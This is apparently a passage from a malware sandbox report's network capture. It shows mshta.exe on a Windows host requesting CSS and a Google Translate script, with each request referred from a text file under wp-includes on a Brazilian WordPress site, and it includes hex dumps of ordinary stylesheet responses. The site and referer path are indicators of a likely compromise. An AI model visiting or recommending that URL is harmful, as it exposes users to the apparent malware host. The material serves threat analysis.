6c 61 79 3a 69 6e 6c 69 6e 65 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 2e 38 3b 7d 0a 61 2e 67 6c 69 6e 6b 3a 68 6f 76 65 72 20 69 6d 67 20 7b 6f 70 61 63 69 74 79 3a 31 3b 7d Data Ascii: a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}a.gflag img {border:0;height:24px;display:inline;}a.gflag:hover {background-image:url(24a.png);}img.gstats {display:none;}a.alt_flag {background-image:url(alt_flags.png);}a.alt_flag:hover {background-image:url(alt_flagsa.png);}a.us_flag {background-position:-0px -100px;}a.br_flag {background-position:-100px -100px;}a.mx_flag {background-position:-200px -100px;}a.glink {text-decoration:none;}a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}a.glink:hover img {opacity:1;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49772	142.250.181.238	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:46.219603062 CEST	1228	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: translate.google.com Connection: Keep-Alive
Aug 16, 2022 11:44:46.251782894 CEST	1273	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:44:46 GMT Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2 Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49770	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:46.354474068 CEST	1274	OUT	GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:46.585752010 CEST	1296	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:37:12 GMT Server: Apache ETag: "a537ae-1a385-5cd2be5b92824" Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT Content-Length: 107397 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21655138 23601802 Age: 454 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68 Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;display:inline;zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, h
Aug 16, 2022 11:44:46.585861921 CEST	1297	IN	Data Raw: 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70 Data Ascii: tml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="check
Aug 16, 2022 11:44:46.585891962 CEST	1298	IN	Data Raw: 6e 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b Data Ascii: nt:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-
Aug 16, 2022 11:44:46.585954905 CEST	1300	IN	Data Raw: 6e 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64 Data Ascii: n11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span
Aug 16, 2022 11:44:46.585995913 CEST	1301	IN	Data Raw: 69 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e Data Ascii: id .span10 {width:82.978723404255%;width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.4
Aug 16, 2022 11:44:46.586018085 CEST	1303	IN	Data Raw: 3a 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35 Data Ascii: :78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;margin-left:70.106382978723%;}.row-fluid .offset8:first-child {m
Aug 16, 2022 11:44:46.586071014 CEST	1304	IN	Data Raw: 65 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d Data Ascii: et2:first-child {margin-left:17.021276595745%;margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-
Aug 16, 2022 11:44:46.586092949 CEST	1305	IN	Data Raw: 65 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a Data Ascii: ext-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3,
Aug 16, 2022 11:44:46.586126089 CEST	1307	IN	Data Raw: 6f 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c Data Ascii: old; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear
Aug 16, 2022 11:44:46.586148024 CEST	1308	IN	Data Raw: 3a 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66 Data Ascii: :24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3
Aug 16, 2022 11:44:46.817877054 CEST	1320	IN	Data Raw: 74 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65 Data Ascii: t, textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[
Aug 16, 2022 11:44:47.291727066 CEST	1534	OUT	GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:47.537761927 CEST	1535	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:47 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT ETag: "1eb103-41cd-5c93d38b56102" Accept-Ranges: bytes Content-Length: 16845 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49774	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:47.544715881 CEST	1554	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:47.768058062 CEST	1556	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT ETag: "a4fabd-1735-58592f81e2d80" Accept-Ranges: bytes Content-Length: 5941 Connection: close Content-Type: text/css Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 6f 6f 74 68 65 6d 65 73 2e 63 6f 6d 2f 66 6c 65 78 73 6c 69 64 65 72 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 47 50 4c 76 32 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 67 70 6c 2d 32 2e 30 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 61 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 20 28 40 6d 62 6d 75 66 66 66 69 6e 29 0a 20 2a 2f 0a 0a 0a 2f 2a 20 42 72 6f 77 73 65 72 20 52 65 73 65 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 66 6f 63 75 73 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 66 6f 63 75 73 20 20 7b 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 73 6c 69 64 65 73 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 2c 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 0a 2f 2a 20 49 63 6f 6e 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 46 6f 6e 74 2d 66 61 63 65 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 27 29 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 3f 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 73 76 67 23 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 2f 2a 20 46 6c 65 78 53 6c 69 64 65 72 20 4e 65 63 65 73 73 61 72 79 20 53 74 79 6c 65 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 Data Ascii: /* * jQuery FlexSlider v2.2.0 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the GPLv2 license. * http://www.gnu.org/licenses/gpl-2.0.html * * Contributing author: Tyler Smith (@mbmufffin) // Browser Resets********************************/.flex-container a:active,.flexslider a:active,.flex-container a:focus,.flexslider a:focus {outline: none;}.slides,.flex-control-nav,.flex-direction-nav {margin: 0; padding: 0; list-style: none;}.flexslider-rtl {direction:rtl; text-align:right;}/ Icon Fonts********************************// Font-face Icons /@font-face {font-family: 'flexslider-icon';src:url('fonts/flexslider-icon.eot');src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),url('fonts/flexslider-icon.woff') format('woff'),url('fonts/flexslider-icon.ttf') format('truetype'),url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');font-weight: normal;font-style: normal;}/ FlexSlider Necessary Styles*********************************/.flexslider {margin: 0; padding:
Aug 16, 2022 11:44:47.768116951 CEST	1557	IN	Data Raw: 30 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 2e 73 6c 69 64 65 73 20 3e 20 6c 69 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 7d Data Ascii: 0;}.flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */.flexslider .slides img {width: 100%; display: block;}.flex-pauseplay span {text-transform:
Aug 16, 2022 11:44:47.768168926 CEST	1559	IN	Data Raw: 2a 20 44 69 72 65 63 74 69 6f 6e 20 4e 61 76 20 2a 2f 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 2a 68 65 69 67 68 74 3a 20 30 3b 7d 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 20 20 7b 20 64 69 73 70 Data Ascii: * Direction Nav /.flex-direction-nav {height: 0;}.flex-direction-nav a { display: block; width: 40px; height: 40px; margin: -20px 0 0; position: absolute; top: 50%; z-index: 10; overflow: hidden; opacity: 0; cursor: pointer; color: rgba(0
Aug 16, 2022 11:44:47.768229961 CEST	1560	IN	Data Raw: 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 2e 66 6c 65 78 2d 6e 65 78 74 3a 62 65 66 6f 72 65 20 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 66 30 30 31 27 3b 20 7d 0a 2e 66 6c 65 78 Data Ascii: flexslider-rtl .flex-direction-nav a.flex-next:before { content: '\f001'; }.flexslider-rtl .flex-direction-nav a.flex-prev:before { content: '\f002'; }/* Pause/Play */.flex-pauseplay a { display: block; width: 20px; height: 20px; position
Aug 16, 2022 11:44:47.768280983 CEST	1561	IN	Data Raw: 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 37 29 3b 20 7d 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 70 61 67 69 6e 67 20 6c 69 20 61 2e 66 6c 65 78 2d 61 63 74 69 76 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 30 3b 20 62 61 63 Data Ascii: : rgba(0,0,0,0.7); }.flex-control-paging li a.flex-active { background: #000; background: rgba(0,0,0,0.9); cursor: default; }.flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;}.flex-control-thumbs li {width: 25%; fl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49775	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:47.756957054 CEST	1555	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:47.980190039 CEST	1563	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4fae3-1724-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 5924 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 